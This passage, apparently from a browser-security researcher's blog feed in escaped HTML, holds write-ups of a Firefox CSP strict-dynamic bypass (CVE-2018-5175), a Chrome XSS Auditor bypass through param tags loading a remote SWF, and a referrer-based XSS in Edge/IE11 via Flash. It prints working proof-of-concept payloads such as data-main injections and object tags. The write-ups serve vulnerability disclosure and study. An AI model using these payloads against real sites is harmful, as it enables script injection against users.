href=\"https:\/\/www.w3.org\/TR\/CSP3\/#strict-dynamic-usage\"\u003Ehttps:\/\/www.w3.org\/TR\/CSP3\/#strict-dynamic-usage\u003C\/a\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nBut for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nThe well-known CSP restricts the loading of resources by whitelisting domains.\u003C\/div\u003E\n\u003Cdiv\u003E\nFor example, the following CSP setting allows to load JavaScript only from its own origin and \u003Ci\u003Etrusted.example.com\u003C\/i\u003E:\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nContent-Security-Policy: script-src 'self' trusted.example.com\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nThanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of evil.example.org. It looks safe enough, however, if \u003Ci\u003Etrusted.example.com\u003C\/i\u003E has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if \u003Ci\u003Etrusted.example.com\u003C\/i\u003E has a JSONP endpoint, it might be bypassed, like this:\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script src=\"\/\/trusted.example.com\/jsonp?callback=alert(1)\/\/\"\u0026gt;\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nIf this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nalert(1)\/\/({});\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nIn additon, \u003Ca href=\"https:\/\/github.com\/cure53\/XSSChallengeWiki\/wiki\/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#127-bytes\"\u003Eit is known\u003C\/a\u003E that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nThat way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nContent-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nThis CSP means that the whitelist will be disabled and only scripts having the \"secret\" string in the nonce attribute will load.\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;!-- This will load --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script src=\"\/\/example.com\/assets\/A.js\" nonce=\"secret\"\u0026gt;\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u0026lt;!-- This will not load --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script src=\"\/\/example.com\/assets\/B.js\"\u0026gt;\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nThe \u003Ci\u003EA.js\u003C\/i\u003E might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions.\u0026nbsp; With the word written in the spec, the non-\"parser-inserted\" script element can be allowed to execute JavaScript.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nBelow are concrete examples of what type of JavaScript are permitted:\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\/* A.js *\/\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\/\/This will load\u003Cbr \/\u003E\nvar script=document.createElement('script');\u003Cbr \/\u003E\nscript.src='\/\/example.org\/dependency.js';\u003Cbr \/\u003E\ndocument.body.appendChild(script);\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\/\/This will not load\u003Cbr \/\u003E\ndocument.write(\"\u0026lt;scr\"+\"ipt src='\/\/example.org\/dependency.js'\u0026gt;\u0026lt;\/scr\"+\"ipt\u0026gt;\");\u003C\/blockquote\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nWhen loading using \u003Ccode\u003EcreateElement()\u003C\/code\u003E, it's a non-\"parser-inserted\" script element and the loading is allowed. On the other hand, when loading using \u003Ccode\u003Edocument.write()\u003C\/code\u003E, it is a \"parser-inserted\" script element and it is not loaded.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nUp to this point, I explained about strict-dynamic roughly.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nBy the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Ch3\u003E\nKnown strict-dynamic bypass\u003C\/h3\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nIt is known that strict-dynamic also can be bypassed if a specific library is used in the target page.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nBy Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Ca href=\"https:\/\/github.com\/google\/security-research-pocs\/tree\/master\/script-gadgets\"\u003Ehttps:\/\/github.com\/google\/security-research-pocs\/blob\/master\/script-gadgets\/bypasses.md\u003C\/a\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nLet's look into the strict-dynamic bypass of require.js on this list.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nLet's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none';script-src 'nonce-secret' 'strict-dynamic'\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!-- XSS START --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script data-main=\u003Cspan style=\"background-color: yellow;\"\u003E\u003Cb\u003E\"data:,alert(1)\"\u003C\/b\u003E\u003C\/span\u003E\u0026gt;\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!-- XSS END --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script nonce=\"secret\" src=\"require.js\"\u0026gt;\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\nWhen the require.js finds a script element with a \u003Ccode\u003Edata-main\u003C\/code\u003E attribute, it loads a script specified in the \u003Ccode\u003Edata-main\u003C\/code\u003E attribute from the equivalent code as below:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nvar node = document.createElement('script');\u003Cbr \/\u003E\nnode.src = 'data:,alert(1)';\u003Cbr \/\u003E\ndocument.head.appendChild(node);\u003C\/blockquote\u003E\nAs described before, the strict-dynamic is allowed to load JavaScript from \u003Ccode\u003EcreateElement()\u003C\/code\u003E without the proper nonce.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFirefox's vulnerability was caused by this behavior of require.js.\u003Cbr \/\u003E\nIn the next section, I'll explain the vulnerability.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Ch3\u003E\nUniversal strict-dynamic bypass(CVE-2018-5175)\u003C\/h3\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nFirefox implements some browser features using legacy extensions. The legacy extensions means XUL\/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\nIn this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a \u003Ca href=\"https:\/\/developer.mozilla.org\/en\/Add-ons\/WebExtensions\/manifest.json\/web_accessible_resources\"\u003Eweb_accessible_resources\u003C\/a\u003E key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named \u003Ca href=\"https:\/\/developer.mozilla.org\/ja\/docs\/Mozilla\/Chrome_Registration#contentaccessible\"\u003Econtentaccessible flag\u003C\/a\u003E. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the\u0026nbsp;\u003Co\u003E\u003Ci\u003Econtentaccessible=yes\u003C\/i\u003E flag.\u003C\/o\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nLet's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\njar:file:\/\/\/C:\/Program%20Files%20(x86)\/Mozilla%20Firefox\/browser\/omni.ja!\/chrome\/chrome.manifest\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq nowrap\"\u003E\ncontent branding browser\/content\/branding\/ contentaccessible=yes\u003Cbr \/\u003E\ncontent browser browser\/content\/browser\/ contentaccessible=yes\u003Cbr \/\u003E\nskin browser classic\/1.0 browser\/skin\/classic\/browser\/\u003Cbr \/\u003E\nskin communicator classic\/1.0 browser\/skin\/classic\/communicator\/\u003Cbr \/\u003E\ncontent webide webide\/content\/\u003Cbr \/\u003E\nskin webide classic\/1.0 webide\/skin\/\u003Cbr \/\u003E\ncontent devtools-shim devtools-shim\/content\/\u003Cbr \/\u003E\ncontent devtools devtools\/content\/\u003Cbr \/\u003E\nskin devtools classic\/1.0 devtools\/skin\/\u003Cbr \/\u003E\nlocale branding ja ja\/locale\/branding\/\u003Cbr \/\u003E\nlocale browser ja ja\/locale\/browser\/\u003Cbr \/\u003E\nlocale browser-region ja ja\/locale\/browser-region\/\u003Cbr \/\u003E\nlocale devtools ja ja\/locale\/ja\/devtools\/client\/\u003Cbr \/\u003E\nlocale devtools-shared ja ja\/locale\/ja\/devtools\/shared\/\u003Cbr \/\u003E\nlocale devtools-shim ja ja\/locale\/ja\/devtools\/shim\/\u003Cbr \/\u003E\nlocale pdf.js ja ja\/locale\/pdfviewer\/\u003Cbr \/\u003E\noverlay chrome:\/\/browser\/content\/browser.xul chrome:\/\/browser\/content\/report-phishing-overlay.xul\u003Cbr \/\u003E\noverlay chrome:\/\/browser\/content\/places\/places.xul chrome:\/\/browser\/content\/places\/downloadsViewOverlay.xul\u003Cbr \/\u003E\noverlay chrome:\/\/global\/content\/viewPartialSource.xul chrome:\/\/browser\/content\/viewSourceOverlay.xul\u003Cbr \/\u003E\noverlay chrome:\/\/global\/content\/viewSource.xul chrome:\/\/browser\/content\/viewSourceOverlay.xul\u003Cbr \/\u003E\noverride chrome:\/\/global\/content\/license.html chrome:\/\/browser\/content\/license.html\u003Cbr \/\u003E\noverride chrome:\/\/global\/content\/netError.xhtml chrome:\/\/browser\/content\/aboutNetError.xhtml\u003Cbr \/\u003E\noverride chrome:\/\/global\/locale\/appstrings.properties chrome:\/\/browser\/locale\/appstrings.properties\u003Cbr \/\u003E\noverride chrome:\/\/global\/locale\/netError.dtd chrome:\/\/browser\/locale\/netError.dtd\u003Cbr \/\u003E\noverride chrome:\/\/mozapps\/locale\/downloads\/settingsChange.dtd chrome:\/\/browser\/locale\/downloads\/settingsChange.dtd\u003Cbr \/\u003E\nresource search-plugins chrome:\/\/browser\/locale\/searchplugins\/\u003Cbr \/\u003E\nresource usercontext-content browser\/content\/ contentaccessible=yes\u003Cbr \/\u003E\nresource pdf.js pdfjs\/content\/\u003Cbr \/\u003E\n\u003Cspan style=\"background-color: yellow;\"\u003Eresource devtools devtools\/modules\/devtools\/\u003Cbr \/\u003Eresource devtools-client-jsonview resource:\/\/devtools\/client\/jsonview\/ contentaccessible=yes\u003C\/span\u003E\u003Cbr \/\u003E\nresource devtools-client-shared resource:\/\/devtools\/client\/shared\/ contentaccessible=yes\u003C\/blockquote\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\nThe yellow part is the part that makes the file accessible from any web sites.\u0026nbsp;These two lines are for creating a\u0026nbsp;\u003Ca href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Chrome_Registration#resource\"\u003E\u003Ci\u003Eresource:\u003C\/i\u003E URI\u003C\/a\u003E.\u0026nbsp;The \u003Ccode\u003Eresource devtools devtools\/modules\/devtools\/\u003C\/code\u003E of first line is mapping \u003Ci\u003Edevtools\/modules\/devtools\/\u003C\/i\u003E directory ( It exists on \u003Ci\u003Ejar:file:\/\/\/C:\/Program%20Files%20(x86)\/Mozilla%20Firefox\/browser\/omni.ja!\/chrome\/devtools\/modules\/devtools\/\u003C\/i\u003E )\u0026nbsp; to \u003Ci\u003Eresource:\/\/devtools\/\u003C\/i\u003E .\u003C\/div\u003E\n\u003Cdiv\u003E\nWe can now access files under the directory by opening \u003Ci\u003Eresource:\/\/devtools\/\u003C\/i\u003E using Firefox. Likewise, the next line is mapping to \u003Ci\u003Eresource:\/\/devtools-client-jsonview\/\u003C\/i\u003E. This URL becomes web-accessible by the \u003Ci\u003Econtentaccessible=yes\u003C\/i\u003E flag and we can now load the files placed under this directory from any web pages.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\nThis directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nThe actual bypass is as follows:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/fx_csp_bypass_strict-dynamic.html\"\u003Ehttps:\/\/vulnerabledoma.in\/fx_csp_bypass_strict-dynamic.html\u003C\/a\u003E\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none';script-src 'nonce-secret' 'strict-dynamic'\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!-- XSS START --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script data-main=\"data:,alert(1)\"\u0026gt;\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026nbsp; src=\"resource:\/\/devtools-client-jsonview\/lib\/require.js\"\u0026gt;\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!-- XSS END --\u0026gt;\u003C\/blockquote\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nFrom this code, \u003Ci\u003Edata:\u003C\/i\u003E URL will be loaded as a JavaScript resource and it will pop up an alert dialog.\u0026nbsp;\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nYou might think, \"Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce.\"\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nActually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Ca href=\"https:\/\/www.w3.org\/TR\/CSP3\/#extensions\"\u003Ehttps:\/\/www.w3.org\/TR\/CSP3\/#extensions\u003C\/a\u003E\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nPolicy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].\u003C\/blockquote\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\nFirefox's \u003Ci\u003Eresource:\u003C\/i\u003E URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.\u003C\/div\u003E\n\u003Cdiv\u003E\nOf course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nIt seems that Firefox folks fixed this bug by applying page's CSP to the \u003Ci\u003Eresource:\u003C\/i\u003E URI.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Ch3\u003E\nIn the end of article\u003C\/h3\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nI wrote about a CSP strict-dynamic bypass vulnerability of Firefox.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nFYI, I found this issue when I was looking for another solution of \u003Ca href=\"https:\/\/github.com\/cure53\/XSSChallengeWiki\/wiki\/CNY-Challenge-2018\"\u003ECure53 CNY XSS Challenge 2018\u003C\/a\u003E's third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nAlso, I created a \u003Ca href=\"https:\/\/twitter.com\/kinugawamasato\/status\/984014228469280768\"\u003Edifferent version of this XSS Challenge\u003C\/a\u003E and I'm still waiting your answer :)\u003C\/div\u003E\n\u003C\/div\u003E\n\u003C\/div\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nLastly, I'd like to thank Google's research which made me notice this bug. Thank you!\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/3469561274785907630\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2018\/05\/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html#comment-form","title":"124 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/3469561274785907630"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/3469561274785907630"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2018\/05\/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html","title":"CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"124"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-4911985148787723545"},"published":{"$t":"2016-12-27T04:01:00.000-08:00"},"updated":{"$t":"2016-12-27T04:01:47.359-08:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Chrome"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Flash"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSAuditor"}],"title":{"type":"text","$t":"XSS Auditor bypass using obscure \u0026lt;param\u0026gt; tag"},"content":{"type":"html","$t":"Hi there!\u003Cbr \/\u003E\nI just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.\u003Cbr \/\u003E\nIn this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.\u003Cbr \/\u003E\nI have already reported here:\u0026nbsp;\u003Ca href=\"https:\/\/bugs.chromium.org\/p\/chromium\/issues\/detail?id=676992\"\u003Ehttps:\/\/bugs.chromium.org\/p\/chromium\/issues\/detail?id=676992\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe bypass is:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https:\/\/l0.cm\/xss.swf%3E\"\u003Ehttps:\/\/vulnerabledoma.in\/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https:\/\/l0.cm\/xss.swf%3E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;object allowscriptaccess=always\u0026gt;\u003Cbr \/\u003E\n\u0026lt;param name=url value=https:\/\/l0.cm\/xss.swf\u0026gt;\u003C\/blockquote\u003E\nAlso it works:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https:\/\/l0.cm\/xss.swf%3E\"\u003Ehttps:\/\/vulnerabledoma.in\/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https:\/\/l0.cm\/xss.swf%3E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;object allowscriptaccess=always\u0026gt;\u003Cbr \/\u003E\n\u0026lt;param name=code value=https:\/\/l0.cm\/xss.swf\u0026gt;\u003C\/blockquote\u003E\n\u003Cdiv\u003E\nI didn't know that Chrome supports such params until I found it in the\u0026nbsp;\u003Ci\u003EHTMLObjectElement.cpp\u003C\/i\u003E:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nif (url.isEmpty() \u0026amp;\u0026amp; urlParameter.isEmpty() \u0026amp;\u0026amp;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; (equalIgnoringCase(name, \"src\") || equalIgnoringCase(name, \"movie\") ||\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp;equalIgnoringCase(name, \"code\") || equalIgnoringCase(name, \"url\")))\u003Cbr \/\u003E\n\u0026nbsp; urlParameter = stripLeadingAndTrailingHTMLSpaces(p-\u0026gt;value());\u003C\/blockquote\u003E\nThe \u003Ccode\u003E\u0026lt;param name=\"src\" value=\"\/\/attacker\/xss.swf\"\u0026gt;\u003C\/code\u003E and \u003Ccode\u003E\u0026lt;param name=\"movie\" value=\"\/\/attacker\/xss.swf\"\u0026gt;\u003C\/code\u003E are blocked by XSS Auditor. But I noticed that \u003Ccode\u003Ecode\u003C\/code\u003E and \u003Ccode\u003Eurl\u003C\/code\u003E are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE\/Edge and Firefox. I think Chrome can remove this support :)\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat's it. I wrote about XSS Auditor bypass using \u003Ccode\u003E\u0026lt;param\u0026gt;\u003C\/code\u003E. Thanks for reading!\u003C\/div\u003E\n"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/4911985148787723545\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/12\/xssauditor-bypass-using-paramtag.html#comment-form","title":"34 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4911985148787723545"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4911985148787723545"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/12\/xssauditor-bypass-using-paramtag.html","title":"XSS Auditor bypass using obscure \u0026lt;param\u0026gt; tag"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"34"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-6715974340988446525"},"published":{"$t":"2016-10-06T22:37:00.000-07:00"},"updated":{"$t":"2016-10-06T23:05:08.334-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Edge"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Flash"},{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"XSS via Referrer After Anniversary Update"},"content":{"type":"html","$t":"Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11\/Edge. The referrer behavior is one of them.\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nThe following page writes the \u003Ccode\u003EHTTP_REFERER\u003C\/code\u003E and \u003Ccode\u003Edocument.referrer\u003C\/code\u003E directly:\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/xss_referrer\"\u003Ehttps:\/\/vulnerabledoma.in\/xss_referrer\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\nPreviously IE\/Edge did not encode the\u0026nbsp;\u003Ccode\u003E\"\u0026lt;\u0026gt;\u003C\/code\u003E\u0026nbsp;characters in the referrer string. So, we could XSS on that page from the following PoC:\u003Cbr \/\u003E\n\u003Ca href=\"javascript:void(location='https:\/\/l0.cm\/xss_referrer_oldpoc.html?\u0026lt;script\u0026gt;alert(\u0026quot;1\u0026quot;)\u0026lt;\/script\u0026gt;')\"\u003Ehttps:\/\/l0.cm\/xss_referrer_oldpoc.html?\u0026lt;script\u0026gt;alert(\"1\")\u0026lt;\/script\u0026gt;\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nBut since the Windows 10 anniversary update, IE11\/Edge encodes it. You will get the following encoded string from that page:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nHTTP_REFERER: https:\/\/l0.cm\/xss_referrer_oldpoc.html?\u003Cspan style=\"background-color: yellow;\"\u003E%3Cscript%3Ealert(%221%22)%3C\/script%3E\u003C\/span\u003E\u003Cbr \/\u003E\ndocument.referrer: https:\/\/l0.cm\/xss_referrer_oldpoc.html?\u003Cspan style=\"background-color: yellow;\"\u003E%3Cscript%3Ealert(%221%22)%3C\/script%3E\u003C\/span\u003E\u003C\/blockquote\u003E\nToo bad!\u003Cbr \/\u003E\nOf course, we can still use Win8.1\/7 IE11. But also we want to XSS on Win10, don't you? :D\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nToday, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge\/IE11.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe technique is very simple. You can easily include \u003Ccode\u003E\"\u0026lt;\u0026gt;\u003C\/code\u003E string into the referrer if you send the request from Flash's \u003Ccode\u003EnavigateToURL()\u003C\/code\u003E method, like this:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"javascript:void(location='https:\/\/l0.cm\/xss_referrer.swf?\u0026lt;script\u0026gt;alert(1)\u0026lt;\/script\u0026gt;')\"\u003Ehttps:\/\/l0.cm\/xss_referrer.swf?\u0026lt;script\u0026gt;alert(1)\u0026lt;\/script\u0026gt;\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe ActionScript code is here:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\npackage {\u003Cbr \/\u003E\n\u0026nbsp;import flash.display.Sprite;\u003Cbr \/\u003E\n\u0026nbsp;import flash.net.URLRequest;\u003Cbr \/\u003E\n\u0026nbsp;import flash.net.navigateToURL;\u003Cbr \/\u003E\n\u0026nbsp;public class xss_referrer extends Sprite{\u003Cbr \/\u003E\n\u0026nbsp; public function xss_referrer() {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp;var url:URLRequest = new URLRequest(\"https:\/\/vulnerabledoma.in\/xss_referrer\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp;navigateToURL(url, 